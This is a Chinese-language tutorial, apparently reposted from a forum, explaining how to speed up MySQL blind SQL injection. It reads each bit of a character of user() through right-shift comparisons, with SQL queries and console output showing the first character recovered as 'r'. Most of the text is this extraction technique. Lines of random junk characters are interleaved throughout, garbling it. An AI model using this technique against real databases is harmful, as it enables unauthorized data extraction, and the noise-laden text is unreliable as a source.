关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位

6 D  u" o( n0 t! e7 K
9 s1 J  I* u: \
下面将以查询mysql数据库当中user()的第一位为例:


# H7 v. G2 o. j- q; y4 x- Q
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)


1 K5 D, x& K! @0 u
  I$ F* v) ^/ e* h首先执行如下sql语句:
% _6 Y% h/ O' _& P' C

4 L; l* u# O* N; x
: W3 `6 H% ^% J" b' e" `1 o5 S; qmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
3 a) \& o) h/ a* z6 o
) j6 z; G8 S& A" f( m

我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的

' F, u# ?& J3 f& d- \/ n& S8 H
6 v3 a& }8 l1 _. q+ f
" q1 Z, Y! V/ @) F5 M第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
3 O, Z4 A  k  ~
- |; C7 p8 L! P7 A
1 s0 O" |3 Y2 y3 ^$ L0 M
, G% q2 G" ?, m. B) R3 Q0 a/ Z如果运算结果为1,说明第一位为0,不为1



+————————————–+

0 w/ {8 A& E# C# A  m# ]7 [| (ascii((substr(user(),1,1))) >> 7)=0 |

2 c5 r% h* ~! |/ a+————————————–+
4 {; s& D: U% V$ s
| 1 |

+————————————–+
" A% x1 e; N; J* i' V& x0 W
1 row in set (0.00 sec)

" r: k; w* r% Y这样我们就确定这个8bit的ascii的第一位为0

" |3 x5 P; ?! h. s( s8 q0 A* O. J

第二次我们来做6次右偏移来确定前两位
4 [$ Y" s6 X, |2 u- N! e
# F& {! M! J$ v1 w5 x
4 w5 u4 q: b& [& Y
3 f6 }( |+ B9 d- V前两位可能是01或00,即依然可以与0做比较,

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
: ^" N. P2 z5 F! {# _
+————————————–+
' `% v7 v2 x7 s9 n$ w7 G$ x$ A- b  m# L% \
| (ascii((substr(user(),1,1))) >> 6)=0 |

+————————————–+

! G& U% a  h' x1 a* E* ^| 0 |

, l* d' F, }6 o3 p% |+————————————–+
  t# l6 Q2 v2 V4 |" a) ~3 a& v
1 row in set (0.00 sec)
! H3 }2 J: ^2 b% F# f$ D, u  Y

8 S( f2 L  e. \8 v2 v- n/ a
1 ]8 S/ I! b# i0 ~$ V/ x1 ?+ {# {结果为0,即第二位为1



# A  y8 v2 P! H: w! @开始猜测前三位为010或011
9 a/ m% T9 X+ K3 O! L" M" b

1 Y" v) v% G( k, A1 `* U
让我们看看010和011的ascii码是多少


# {7 e6 V. v7 k' f+ R! S
分别查询select b’011′ select b’010′
8 p3 C4 C& B7 v+ z3 e# D, T

  ^( b3 H2 P* o: |; a& d9 F. t
9 H7 {  B) ]. H0 i" Y* A获得结果 010 = 2 011 = 3



执行如下sql:

7 _' K% ]5 s/ U; f4 ~! e- m# A0 W
4 O# |! F# l8 ]7 ~5 J7 U
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
& B) q7 ?5 t% j( o( {' F
+————————————–+
: F, w1 B% J5 _  `
6 z" _# g3 y' G3 e0 E1 @| (ascii((substr(user(),1,1))) >> 5)=2 |

+————————————–+
* x/ R) w8 k9 l. N/ h
| 0 |

+————————————–+
/ U- _4 |3 z3 {. t
# U. A) q" x7 B7 P( M即前三位不为010,而是011

! l2 g) d* _$ h9 s; A- A
6 c/ J; S- M" ?- A. W. O- C6 ^
- D9 F, ]3 I  t* Q直到获得最后一位
) J' i/ J9 Z, P* o2 m: v3 R# f+ T
, O. ~/ \% g7 z& B+ f

最终结果为:01110010
2 Z) P1 k" |) T


转换一下:



select b’01110010′

& X1 s. L9 h7 z. h+ y( h, f+ p
) Q) v- ?5 p$ Z+ I) _9 p
查询结果


2 _/ ^. a+ A9 N  L$ g4 ?) M. m: j
+————-+
9 U9 G; t0 u* ]8 x  J0 N7 f
| b’01110010′ |
$ c/ W0 S" @7 c+ `6 u9 h
+————-+
# o: z7 n; w) z' \
| r |

+————-+

1 row in set (0.00 sec)

1 g8 x  v* r7 L2 V7 I8 @% \" N/ M2 w4 X
0 h: d, ?: C5 U. M
这样我们就获得了user()的第一位.其它位依此类推

5 V5 j5 H% G' U* `